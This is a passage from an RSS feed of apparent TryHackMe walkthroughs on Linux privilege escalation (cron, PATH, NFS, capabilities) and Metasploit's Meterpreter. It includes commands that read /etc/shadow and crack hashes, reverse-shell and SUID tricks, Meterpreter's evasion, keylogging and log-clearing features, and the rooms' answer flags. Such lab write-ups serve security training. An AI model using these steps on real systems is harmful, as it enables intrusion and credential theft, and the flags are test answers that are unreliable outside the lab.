“reset; exec sh”)’</p><p>This will launch a root shell as seen below;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*01VlTD_Nto5ftVFI.png" /></figure><p>Q1:Complete the task described above on the target system</p><pre>No answer needed</pre><p>Q2:How many binaries have set capabilities?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XzN6ysNsUIvnZDw3yhwfdA.png" /></figure><pre>6</pre><p>Q3:What other binary can be used through its capabilities?</p><p>/home/ubuntu/view = cap_setuid+ep</p><pre>view</pre><p>Q4:What is the content of the flag4.txt file?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/488/1*6S70_ptIy_vECNl2tRyH5Q.png" /></figure><pre>THM-9349843</pre><h3>Task 9: Privilege Escalation: Cron Jobs</h3><p>Cron jobs are used to run scripts or binaries at specific times. By default, they run with the privilege of their owners and not the current user. While properly configured cron jobs are not inherently vulnerable, they can provide a privilege escalation vector under some conditions.<br>The idea is quite simple; if there is a scheduled task that runs with root privileges and we can change the script that will be run, then our script will run with root privileges.</p><p>Cron job configurations are stored as crontabs (cron tables) to see the next time and date the task will run.</p><p>Each user on the system have their crontab file and can run specific tasks whether they are logged in or not. As you can expect, our goal will be to find a cron job set by root and have it run our script, ideally a shell.</p><p>Any user can read the file keeping system-wide cron jobs under /etc/crontab</p><p>While CTF machines can have cron jobs running every minute or every 5 minutes, you will more often see tasks that run daily, weekly or monthly in penetration test engagements.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*CilzJ_kEAzfywAAq.png" /></figure><p>You can see the backup.sh script was configured to run every minute. The content of the file shows a simple script that creates a backup of the prices.xls file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/620/0*PX5taIleACamU4c4.png" /></figure><p>As our current user can access this script, we can easily modify it to create a reverse shell, hopefully with root privileges.</p><p>The script will use the tools available on the target system to launch a reverse shell.<br>Two points to note;</p><ol><li>The command syntax will vary depending on the available tools. (e.g. nc will probably not support the -e option you may have seen used in other cases)</li><li>We should always prefer to start reverse shells, as we not want to compromise the system integrity during a real penetration testing engagement.</li></ol><p>The file should look like this;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/531/0*0uyeat2L5K_d4w2z.png" /></figure><p>We will now run a listener on our attacking machine to receive the incoming connection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/834/0*EK_z17xAiZx2by9d.png" /></figure><p>Crontab is always worth checking as it can sometimes lead to easy privilege escalation vectors. The following scenario is not uncommon in companies that do not have a certain cyber security maturity level:</p><ol><li>System administrators need to run a script at regular intervals.</li><li>They create a cron job to do this</li><li>After a while, the script becomes useless, and they delete it</li><li>They do not clean the relevant cron job</li></ol><p>This change management issue leads to a potential exploit leveraging cron jobs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*i8fP9_0QPss5lJ6C.png" /></figure><p>The example above shows a similar situation where the antivirus.sh script was deleted, but the cron job still exists.<br>If the full path of the script is not defined (as it was done for the backup.sh script), cron will refer to the paths listed under the PATH variable in the /etc/crontab file. In this case, we should be able to create a script named “antivirus.sh” under our user’s home folder and it should be run by the cron job.</p><p>The file on the target system should look familiar:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/470/0*GmRgx7fx4G0S4GIx.png" /></figure><p>The incoming reverse shell connection has root privileges:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/842/0*9Vtyb9EeQEAcVAEs.png" /></figure><p>In the odd event you find an existing script or task attached to a cron job, it is always worth spending time to understand the function of the script and how any tool is used within the context. For example, tar, 7z, rsync, etc., can be exploited using their wildcard feature.</p><p>Q1:How many user-defined cron jobs can you see on the target system?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Qy-xuQ3_WbOKQkxJ-rX2Ng.png" /></figure><pre>4</pre><p>Q2:What is the content of the flag5.txt file?</p><p>We need to give execute permission backup.sh to get successful running as a cron job</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/986/1*xIIKLAmdv6nyGf_gmjT1Cg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*75r2_UOEaxo5PAXpG5sySw.png" /></figure><pre>THM-383000283</pre><p>Q3:What is Matt’s password?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_87zCSZJ2Ctc2jbFsqAAVQ.png" /></figure><p>We need to crack this password with John The Ripper tool</p><p>john -wordlist=/usr/share/wordlists/rockyou.txt hash.txt</p><p>I just copied the hash and created hash.txt and pasted inside</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/881/1*RBK0VzvdA_-ohEwyJEaj-A.png" /></figure><pre>123456</pre><h3>Task 10: Privilege Escalation: PATH</h3><p>If a folder for which your user has write permission is located in the path, you could potentially hijack an application to run a script. PATH in Linux is an environmental variable that tells the operating system where to search for executables. For any command that is not built into the shell or that is not defined with an absolute path, Linux will start searching in folders defined under PATH. (PATH is the environmental variable we’re talking about here, path is the location of a file).</p><p>Typically the PATH will look like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/0*-_pAnMCqMmFN0WYb.png" /></figure><p>If we type “thm” to the command line, these are the locations Linux will look in for an executable called thm. The scenario below will give you a better idea of how this can be leveraged to increase our privilege level. As you will see, this depends entirely on the existing configuration of the target system, so be sure you can answer the questions below before trying this.</p><ol><li>What folders are located under $PATH</li><li>Does your current user have write privileges for any of these folders?</li><li>Can you modify $PATH?</li><li>Is there a script/application you can start that will be affected by this vulnerability?</li></ol><p>For demo purposes, we will use the script below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/397/0*krESOVtJm0dOx-MQ.png" /></figure><p>This script tries to launch a system binary called “thm” but the example can easily be replicated with any binary.</p><p>We compile this into an executable and set the SUID bit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/738/0*IoMF49byOlNENJ90.png" /></figure><p>Our user now has access to the “path” script with SUID bit set.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/605/0*-qVZIgqEhCOqIV_C.png" /></figure><p>Once executed “path” will look for an executable named “thm” inside folders listed under PATH.</p><p>If any writable folder is listed under PATH we could create a binary named thm under that directory and have our “path” script run it. As the SUID bit is set, this binary will run with root privilege</p><p>A simple search for writable folders can done using the “find / -writable 2&gt;/dev/null” command. The output of this command can be cleaned using a simple cut and sort sequence.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/896/0*7g7Y4LoPXYwiVrMy.png" /></figure><p>Some CTF scenarios can present different folders but a regular system would output something like we see above.</p><p>Comparing this with PATH will help us find folders we could use.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/993/0*_tXO63fwo_MXVtSx.png" /></figure><p>We see a number of folders under /usr, thus it could be easier to run our writable folder search once more to cover subfolders.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*rQWdD8oDevaThuZd.png" /></figure><p>An alternative could be the command below.</p><p>find / -writable 2&gt;/dev/null | cut -d &quot;/&quot; -f 2,3 | grep -v proc | sort -u</p><p>We have added “grep -v proc” to get rid of the many results related to running processes.</p><p>Unfortunately, subfolders under /usr are not writable</p><p>The folder that will be easier to write to is probably /tmp. At this point because /tmp is not present in PATH so we will need to add it. As we can see below, the “export PATH=/tmp:$PATH” command accomplishes this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*qNZ2L-QpLcFNKotX.png" /></figure><p>At this point the path script will also look under the /tmp folder for an executable named “thm”.</p><p>Creating this command is fairly easy by copying /bin/bash as “thm” under the /tmp folder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/553/0*wZTJvM06hif5ko8b.png" /></figure><p>We have given executable rights to our copy of /bin/bash, please note that at this point it will run with our user’s right. What makes a privilege escalation possible within this context is that the path script runs with root privileges.</p><p>Q1:What is the odd folder you have write access for?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/901/1*8TQqEZEfhMX2DrAf4XQIYg.png" /></figure><pre>/home/murdoch</pre><p>Q2:Exploit the $PATH vulnerability to read the content of the flag6.txt file.</p><p>We can’t compile c file but we could check files under /home/murdoch</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/762/1*C_J0olSt1KC2Wi4iXCrTAA.png" /></figure><p>The test file already calls <strong>thm </strong>under PATH folders. I just created <strong>thm </strong>under tmp. Then run test file.</p><pre>No answer needed</pre><p>Q3:What is the content of the flag6.txt file?</p><pre>THM-736628929</pre><h3>Task 11: Privilege Escalation: NFS</h3><p>Privilege escalation vectors are not confined to internal access. Shared folders and remote management interfaces such as SSH and Telnet can also help you gain root access on the target system. Some cases will also require using both vectors, e.g. finding a root SSH private key on the target system and connecting via SSH with root privileges instead of trying to increase your current user’s privilege level.</p><p>Another vector that is more relevant to CTFs and exams is a misconfigured network shell. This vector can sometimes be seen during penetration testing engagements when a network backup system is present.</p><p>NFS (Network File Sharing) configuration is kept in the /etc/exports file. This file is created during the NFS server installation and can usually be read by users.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/928/0*e-WJkJ9PWbGgXbyu.png" /></figure><p>The critical element for this privilege escalation vector is the “no_root_squash” option you can see above. By default, NFS will change the root user to nfsnobody and strip any file from operating with root privileges. If the “no_root_squash” option is present on a writable share, we can create an executable with SUID bit set and run it on the target system.</p><p>We will start by enumerating mountable shares from our attacking machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/351/0*-qj3u2AV0sFLfG17.png" /></figure><p>We will mount one of the “no_root_squash” shares to our attacking machine and start building our executable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/726/0*Uxe_jviJ7kkVXJuc.png" /></figure><p>As we can set SUID bits, a simple executable that will run /bin/bash on the target system will do the job.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/344/0*0yEtuInm13Y08DBk.png" /></figure><p>Once we compile the code we will set the SUID bit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/580/0*63CdoKBkmIjglkLu.png" /></figure><p>You will see below that both files (nfs.c and nfs are present on the target system. We have worked on the mounted share so there was no need to transfer them).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*AFabZKHmM9vuNN3x.png" /></figure><p>Notice the nfs executable has the SUID bit set on the target system and runs with root privileges.</p><p>Q1:How many mountable shares can you identify on the target system?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/405/1*UHHuiIXM51wa30F2TeGlMg.png" /></figure><pre>3</pre><p>Q2:How many shares have the “no_root_squash” option enabled?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JdqOSjOZMJTHZyxMobFzMQ.png" /></figure><pre>3</pre><p>Q3:Gain a root shell on the target system</p><p>Attacking machine (AttackBox)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/728/1*24rI44l-e6y9HhwB-tMIQw.png" /></figure><p>Victim machine (Linux)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1004/1*xVgnUq65wrBVMs6LxtHMOQ.png" /></figure><pre>No answer needed</pre><p>Q4:What is the content of the flag7.txt file?</p><pre>THM-89384012</pre><h3>Task 12: Capstone Challenge</h3><p>Lets list SUID</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Qy_eecBKQOlxWhFTtTOXDg.png" /></figure><p>base64 /etc/shadow | base64 — decode</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9M-9GgJJFBF77Tk3a7NPSw.png" /></figure><p>We got missy´s password hash. Lets crack the hash with John The Ripper on Attacking machine</p><p><strong>john -wordlist=/usr/share/wordlists/rockyou.txt hash.txt</strong></p><p>Note: I created hash.txt with missy´s password</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/727/1*LZBcQavPcy_ESjq5l0ZPNQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d9E68ABPePG20yjigKp_Xw.png" /></figure><p>Q1:What is the content of the flag1.txt file?</p><pre>THM-42828719920544</pre><p>Q2:What is the content of the flag2.txt file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x21VM4N_I3lUtwf80-PcxA.png" /></figure><p>We need to find SUID for find command</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FD_mED2ewIUh4jUAL7N0mQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cbvSWdBOijSq8Jh6IH3LGQ.png" /></figure><pre>THM-168824782390238</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=812681d8c4a8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Metasploit: Meterpreter — TryHackMe]]></title>
            <link>https://medium.com/@notfo/metasploit-meterpreter-tryhackme-8c81b00718d7?source=rss-356ddbee4b59------2</link>
            <guid isPermaLink="false">https://medium.com/p/8c81b00718d7</guid>
            <category><![CDATA[meterpreter]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[metasploit]]></category>
            <dc:creator><![CDATA[notfo]]></dc:creator>
            <pubDate>Sat, 12 Jul 2025 13:34:36 GMT</pubDate>
            <atom:updated>2025-07-12T13:34:36.941Z</atom:updated>
            <content:encoded><![CDATA[<h3>Metasploit: Meterpreter — TryHackMe</h3><h3>Task 1: Introduction to Meterpreter</h3><p>Meterpreter is a Metasploit payload that supports the penetration testing process with many valuable components. Meterpreter will run on the target system and act as an agent within a command and control architecture. You will interact with the target operating system and files and use Meterpreter’s specialized commands.</p><p>Meterpreter has many versions which will provide different functionalities based on the target system.</p><h3>How does Meterpreter work?</h3><p>Meterpreter runs on the target system but is not installed on it. It runs in memory and does not write itself to the disk on the target. This feature aims to avoid being detected during antivirus scans. By default, most antivirus software will scan new files on the disk (e.g. when you download a file from the internet) Meterpreter runs in memory (RAM — Random Access Memory) to avoid having a file that has to be written to the disk on the target system (e.g. meterpreter.exe). This way, Meterpreter will be seen as a process and not have a file on the target system.</p><p>Meterpreter also aims to avoid being detected by network-based IPS (Intrusion Prevention System) and IDS (Intrusion Detection System) solutions by using encrypted communication with the server where Metasploit runs (typically your attacking machine). If the target organization does not decrypt and inspect encrypted traffic (e.g. HTTPS) coming to and going out of the local network, IPS and IDS solutions will not be able to detect its activities.</p><p>While Meterpreter is recognized by major antivirus software, this feature provides some degree of stealth.</p><p>The example below shows a target Windows machine exploited using the MS17–010 vulnerability. You will see Meterpreter is running with a process ID (PID) of 1304; this PID will be different in your case. We have used the getpid command, which returns the process ID with which Meterpreter is running. The process ID (or process identifier) is used by operating systems to identify running processes. All processes running in Linux or Windows will have a unique ID number; this number is used to interact with the process when the need arises (e.g. if it needs to be stopped).</p><pre>meterpreter &gt; getpid <br>Current pid: 1304</pre><p>If we list processes running on the target system using the ps command, we see PID 1304 is spoolsv.exe and not Meterpreter.exe, as one might expect.</p><pre>meterpreter &gt; ps<br><br>Process List<br>============<br> PID   PPID  Name                  Arch  Session  User                          Path<br> ---   ----  ----                  ----  -------  ----                          ----<br> 0     0     [System Process]                                                   <br> 4     0     System                x64   0                                      <br> 396   644   LogonUI.exe           x64   1        NT AUTHORITY\SYSTEM           C:\Windows\system32\LogonUI.exe<br> 416   4     smss.exe              x64   0        NT AUTHORITY\SYSTEM           \SystemRoot\System32\smss.exe<br> 428   692   svchost.exe           x64   0        NT AUTHORITY\SYSTEM           <br> 548   540   csrss.exe             x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\csrss.exe<br> 596   540   wininit.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\wininit.exe<br> 604   588   csrss.exe             x64   1        NT AUTHORITY\SYSTEM           C:\Windows\system32\csrss.exe<br> 644   588   winlogon.exe          x64   1        NT AUTHORITY\SYSTEM           C:\Windows\system32\winlogon.exe<br> 692   596   services.exe          x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\services.exe<br> 700   692   sppsvc.exe            x64   0        NT AUTHORITY\NETWORK SERVICE  <br> 716   596   lsass.exe             x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\lsass.exe  1276  1304  cmd.exe               x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\cmd.exe<br> 1304  692   spoolsv.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\spoolsv.exe<br> 1340  692   svchost.exe           x64   0        NT AUTHORITY\LOCAL SERVICE    <br> 1388  548   conhost.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\conhost.exe</pre><p>Even if we were to go a step further and look at DLLs (Dynamic-Link Libraries) used by the Meterpreter process (PID 1304 in this case), we still would not find anything jumping at us (e.g. no meterpreter.dll)</p><p>TheMeterpreterprocess</p><pre>C:\Windows\system32&gt;tasklist /m /fi &quot;pid eq 1304&quot;<br>tasklist /m /fi &quot;pid eq 1304&quot;<br><br>Image Name                     PID Modules                                     <br>========================= ======== ============================================<br>spoolsv.exe                   1304 ntdll.dll, kernel32.dll, KERNELBASE.dll,    <br>                                   msvcrt.dll, sechost.dll, RPCRT4.dll,        <br>                                   USER32.dll, GDI32.dll, LPK.dll, USP10.dll,  <br>                                   POWRPROF.dll, SETUPAPI.dll, CFGMGR32.dll,   <br>                                   ADVAPI32.dll, OLEAUT32.dll, ole32.dll,      <br>                                   DEVOBJ.dll, DNSAPI.dll, WS2_32.dll,         <br>                                   NSI.dll, IMM32.DLL, MSCTF.dll,              <br>                                   CRYPTBASE.dll, slc.dll, RpcRtRemote.dll,    <br>                                   secur32.dll, SSPICLI.DLL, credssp.dll,      <br>                                   IPHLPAPI.DLL, WINNSI.DLL, mswsock.dll,      <br>                                   wshtcpip.dll, wship6.dll, rasadhlp.dll,     <br>                                   fwpuclnt.dll, CLBCatQ.DLL, umb.dll,         <br>                                   ATL.DLL, WINTRUST.dll, CRYPT32.dll,         <br>                                   MSASN1.dll, localspl.dll, SPOOLSS.DLL,      <br>                                   srvcli.dll, winspool.drv,                   <br>                                   PrintIsolationProxy.dll, FXSMON.DLL,        <br>                                   tcpmon.dll, snmpapi.dll, wsnmp32.dll,       <br>                                   msxml6.dll, SHLWAPI.dll, usbmon.dll,        <br>                                   wls0wndh.dll, WSDMon.dll, wsdapi.dll,       <br>                                   webservices.dll, FirewallAPI.dll,           <br>                                   VERSION.dll, FunDisc.dll, fdPnp.dll,        <br>                                   winprint.dll, USERENV.dll, profapi.dll,     <br>                                   GPAPI.dll, dsrole.dll, win32spl.dll,        <br>                                   inetpp.dll, DEVRTL.dll, SPINF.dll,          <br>                                   CRYPTSP.dll, rsaenh.dll, WINSTA.dll,        <br>                                   cscapi.dll, netutils.dll, WININET.dll,      <br>                                   urlmon.dll, iertutil.dll, WINHTTP.dll,      <br>                                   webio.dll, SHELL32.dll, MPR.dll,            <br>                                   NETAPI32.dll, wkscli.dll, PSAPI.DLL,        <br>                                   WINMM.dll, dhcpcsvc6.DLL, dhcpcsvc.DLL,     <br>                                   apphelp.dll, NLAapi.dll, napinsp.dll,       <br>                                   pnrpnsp.dll, winrnr.dll                     <br>C:\Windows\system32&gt;</pre><p>Techniques and tools that can be used to detect Meterpreter are beyond the scope of this room. This section aimed to show you how stealthy Meterpreter is running; remember, most antivirus software will detect it.</p><p>It is also worth noting that Meterpreter will establish an encrypted (TLS) communication channel with the attacker’s system.</p><p>No answer needed</p><h3>Task 2: Meterpreter Flavors</h3><p>As discussed in the previous Metasploit rooms, linked below, Metasploit payloads can be initially divided into two categories; inline (also called single) and staged.</p><p>Introduction to Metasploit: <a href="https://www.tryhackme.com/jr/metasploitintro">https://www.tryhackme.com/jr/metasploitintro</a></p><p>Scanning and Exploitation with Metasploit: <a href="https://www.tryhackme.com/jr/metasploitexploitation">https://www.tryhackme.com/jr/metasploitexploitation</a></p><p>As you will remember, staged payloads are sent to the target in two steps. An initial part is installed (the stager) and requests the rest of the payload. This allows for a smaller initial payload size. The inline payloads are sent in a single step. Meterpreter payloads are also divided into stagged and inline versions. However, Meterpreter has a wide range of different versions you can choose from based on your target system.</p><p>The easiest way to have an idea about available Meterpreter versions could be to list them using msfvenom, as seen below.</p><p>We have used the msfvenom --list payloads command and grepped &quot;meterpreter&quot; payloads (adding | grep meterpreter to the command line), so the output only shows these. You can try this command on the AttackBox.</p><pre>root@ip-10-10-186-44:~# msfvenom --list payloads | grep meterpreter<br>    android/meterpreter/reverse_http                    Run a meterpreter server in Android. Tunnel communication over HTTP<br>    android/meterpreter/reverse_https                   Run a meterpreter server in Android. Tunnel communication over HTTPS<br>    android/meterpreter/reverse_tcp                     Run a meterpreter server in Android. Connect back stager<br>    android/meterpreter_reverse_http                    Connect back to attacker and spawn a Meterpreter shell<br>    android/meterpreter_reverse_https                   Connect back to attacker and spawn a Meterpreter shell<br>    android/meterpreter_reverse_tcp                     Connect back to the attacker and spawn a Meterpreter shell<br>    apple_ios/aarch64/meterpreter_reverse_http          Run the Meterpreter / Mettle server payload (stageless)<br>    apple_ios/aarch64/meterpreter_reverse_https         Run the Meterpreter / Mettle server payload (stageless)<br>    apple_ios/aarch64/meterpreter_reverse_tcp           Run the Meterpreter / Mettle server payload (stageless)<br>    apple_ios/armle/meterpreter_reverse_http            Run the Meterpreter / Mettle server payload (stageless)<br>    apple_ios/armle/meterpreter_reverse_https           Run the Meterpreter / Mettle server payload (stageless)<br>    apple_ios/armle/meterpreter_reverse_tcp             Run the Meterpreter / Mettle server payload (stageless)<br>    java/meterpreter/bind_tcp                           Run a meterpreter server in Java. Listen for a connection<br>    java/meterpreter/reverse_http                       Run a meterpreter server in Java. Tunnel communication over HTTP<br>    java/meterpreter/reverse_https                      Run a meterpreter server in Java. Tunnel communication over HTTPS<br>    java/meterpreter/reverse_tcp                        Run a meterpreter server in Java. Connect back stager<br>    linux/aarch64/meterpreter/reverse_tcp               Inject the mettle server payload (staged). Connect back to the attacker<br>    linux/aarch64/meterpreter_reverse_http              Run the Meterpreter / Mettle server payload (stageless)<br>    linux/aarch64/meterpreter_reverse_https             Run the Meterpreter / Mettle server payload (stageless)<br>    linux/aarch64/meterpreter_reverse_tcp               Run the Meterpreter / Mettle server payload (stageless)<br>    linux/armbe/meterpreter_reverse_http                Run the Meterpreter / Mettle server payload (stageless)<br>    linux/armbe/meterpreter_reverse_https               Run the Meterpreter / Mettle server payload (stageless)<br>    linux/armbe/meterpreter_reverse_tcp                 Run the Meterpreter / Mettle server payload (stageless)<br>    linux/armle/meterpreter/bind_tcp                    Inject the mettle server payload (staged). Listen for a connection<br>    linux/armle/meterpreter/reverse_tcp                 Inject the mettle server payload (staged). Connect back to the attacker [...]</pre><p>The list will show Meterpreter versions available for the following platforms;</p><ul><li>Android</li><li>Apple iOS</li><li>Java</li><li>Linux</li><li>OSX</li><li>PHP</li><li>Python</li><li>Windows</li></ul><p>Your decision on which version of Meterpreter to use will be mostly based on three factors;</p><ul><li>The target operating system (Is the target operating system Linux or Windows? Is it a Mac device? Is it an Android phone? etc.)</li><li>Components available on the target system (Is Python installed? Is this a PHP website? etc.)</li><li>Network connection types you can have with the target system (Do they allow raw TCP connections? Can you only have an HTTPS reverse connection? Are IPv6 addresses not as closely monitored as IPv4 addresses? etc.)</li></ul><p>If you are not using Meterpreter as a standalone payload generated by Msfvenom, your choice may also be limited by the exploit. You will notice some exploits will have a default Meterpreter payload, as you can see in the example below with the ms17_010_eternalblue exploit.</p><pre>msf6 &gt; use exploit/windows/smb/ms17_010_eternalblue <br>[*] Using configured payload windows/x64/meterpreter/reverse_tcp<br>msf6 exploit(windows/smb/ms17_010_eternalblue) &gt;</pre><p>You can also list other available payloads using the show payloads command with any module.</p><pre>msf6 exploit(windows/smb/ms17_010_eternalblue) &gt; show payloads <br><br>Compatible Payloads<br>===================<br>   #   Name                                        Disclosure Date  Rank    Check  Description<br>   -   ----                                        ---------------  ----    -----  -----------<br>   0   generic/custom                                               manual  No     Custom Payload<br>   1   generic/shell_bind_tcp                                       manual  No     Generic Command Shell, Bind TCP Inline<br>   2   generic/shell_reverse_tcp                                    manual  No     Generic Command Shell, Reverse TCP Inline<br>   3   windows/x64/exec                                             manual  No     Windows x64 Execute Command<br>   4   windows/x64/loadlibrary                                      manual  No     Windows x64 LoadLibrary Path<br>   5   windows/x64/messagebox                                       manual  No     Windows MessageBox x64<br>   6   windows/x64/meterpreter/bind_ipv6_tcp                        manual  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager<br>   7   windows/x64/meterpreter/bind_ipv6_tcp_uuid                   manual  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support<br>   8   windows/x64/meterpreter/bind_named_pipe                      manual  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager [...]</pre><p>No answer needed</p><h3>Task 3: Meterpreter Commands</h3><p>Typing help on any Meterpreter session (shown by meterpreter&gt; at the prompt) will list all available commands.</p><pre>meterpreter &gt; help<br><br>Core Commands<br>=============<br>    Command                   Description<br>    -------                   -----------<br>    ?                         Help menu<br>    background                Backgrounds the current session<br>    bg                        Alias for background<br>    bgkill                    Kills a background meterpreter script<br>    bglist                    Lists running background scripts<br>    bgrun                     Executes a meterpreter script as a background thread<br>    channel                   Displays information or control active channels<br>    close                     Closes a channel[...]</pre><p>Every version of Meterpreter will have different command options, so running the help command is always a good idea. Commands are built-in tools available on Meterpreter. They will run on the target system without loading any additional script or executable files.</p><p>Meterpreter will provide you with three primary categories of tools;</p><ul><li>Built-in commands</li><li>Meterpreter tools</li><li>Meterpreter scripting</li></ul><p>If you run the help command, you will see Meterpreter commands are listed under different categories.</p><ul><li>Core commands</li><li>File system commands</li><li>Networking commands</li><li>System commands</li><li>User interface commands</li><li>Webcam commands</li><li>Audio output commands</li><li>Elevate commands</li><li>Password database commands</li><li>Timestomp commands</li></ul><p>Please note that the list above was taken from the output of the help command on the Windows version of Meterpreter (windows/x64/meterpreter/reverse_tcp). These will be different for other Meterpreter versions.</p><p><strong>Meterpreter commands</strong></p><p>Core commands will be helpful to navigate and interact with the target system. Below are some of the most commonly used. Remember to check all available commands running the help command once a Meterpreter session has started.</p><p>Core commands</p><ul><li>background: Backgrounds the current session</li><li>exit: Terminate the Meterpreter session</li><li>guid: Get the session GUID (Globally Unique Identifier)</li><li>help: Displays the help menu</li><li>info: Displays information about a Post module</li><li>irb: Opens an interactive Ruby shell on the current session</li><li>load: Loads one or more Meterpreter extensions</li><li>migrate: Allows you to migrate Meterpreter to another process</li><li>run: Executes a Meterpreter script or Post module</li><li>sessions: Quickly switch to another session</li></ul><p>File system commands</p><ul><li>cd: Will change directory</li><li>ls: Will list files in the current directory (dir will also work)</li><li>pwd: Prints the current working directory</li><li>edit: will allow you to edit a file</li><li>cat: Will show the contents of a file to the screen</li><li>rm: Will delete the specified file</li><li>search: Will search for files</li><li>upload: Will upload a file or directory</li><li>download: Will download a file or directory</li></ul><p>Networking commands</p><ul><li>arp: Displays the host ARP (Address Resolution Protocol) cache</li><li>ifconfig: Displays network interfaces available on the target system</li><li>netstat: Displays the network connections</li><li>portfwd: Forwards a local port to a remote service</li><li>route: Allows you to view and modify the routing table</li></ul><p>System commands</p><ul><li>clearev: Clears the event logs</li><li>execute: Executes a command</li><li>getpid: Shows the current process identifier</li><li>getuid: Shows the user that Meterpreter is running as</li><li>kill: Terminates a process</li><li>pkill: Terminates processes by name</li><li>ps: Lists running processes</li><li>reboot: Reboots the remote computer</li><li>shell: Drops into a system command shell</li><li>shutdown: Shuts down the remote computer</li><li>sysinfo: Gets information about the remote system, such as OS</li></ul><p>Others Commands (these will be listed under different menu categories in the help menu)</p><ul><li>idletime: Returns the number of seconds the remote user has been idle</li><li>keyscan_dump: Dumps the keystroke buffer</li><li>keyscan_start: Starts capturing keystrokes</li><li>keyscan_stop: Stops capturing keystrokes</li><li>screenshare: Allows you to watch the remote user&#39;s desktop in real time</li><li>screenshot: Grabs a screenshot of the interactive desktop</li><li>record_mic: Records audio from the default microphone for X seconds</li><li>webcam_chat: Starts a video chat</li><li>webcam_list: Lists webcams</li><li>webcam_snap: Takes a snapshot from the specified webcam</li><li>webcam_stream: Plays a video stream from the specified webcam</li><li>getsystem: Attempts to elevate your privilege to that of local system</li><li>hashdump: Dumps the contents of the SAM database</li></ul><p>Although all these commands may seem available under the help menu, they may not all work. For example, the target system might not have a webcam, or it can be running on a virtual machine without a proper desktop environment.</p><p>No answer needed</p><h3>Task 4: Post-Exploitation with Meterpreter</h3><p>Meterpreter provides you with many useful commands that facilitate the post-exploitation phase. Below are a few examples you will often use.</p><p><strong>Help</strong></p><p>This command will give you a list of all available commands in Meterpreter. As we have seen earlier, Meterpreter has many versions, and each version may have different options available. Typing help once you have a Meterpreter session will help you quickly browse through available commands.</p><pre>meterpreter &gt; help<br><br>Core Commands<br>=============<br>    Command                   Description<br>    -------                   -----------<br>    ?                         Help menu<br>    background                Backgrounds the current session<br>    bg                        Alias for background<br>    bgkill                    Kills a background meterpreter script<br>    bglist                    Lists running background scripts<br>    bgrun                     Executes a meterpreter script as a background thread<br>    channel                   Displays information or control active channels<br>    close                     Closes a channel[...]</pre><p><strong>Meterpreter commands</strong></p><p>The getuid command will display the user with which Meterpreter is currently running. This will give you an idea of your possible privilege level on the target system (e.g. Are you an admin level user like NT AUTHORITY\SYSTEM or a regular user?)</p><pre>meterpreter &gt; getuid<br>Server username: NT AUTHORITY\SYSTEM<br>meterpreter &gt;</pre><p>The ps command will list running processes. The PID column will also give you the PID information you will need to migrate Meterpreter to another process.</p><pre>meterpreter &gt; ps<br><br>Process List<br>============<br> PID   PPID  Name                  Arch  Session  User                          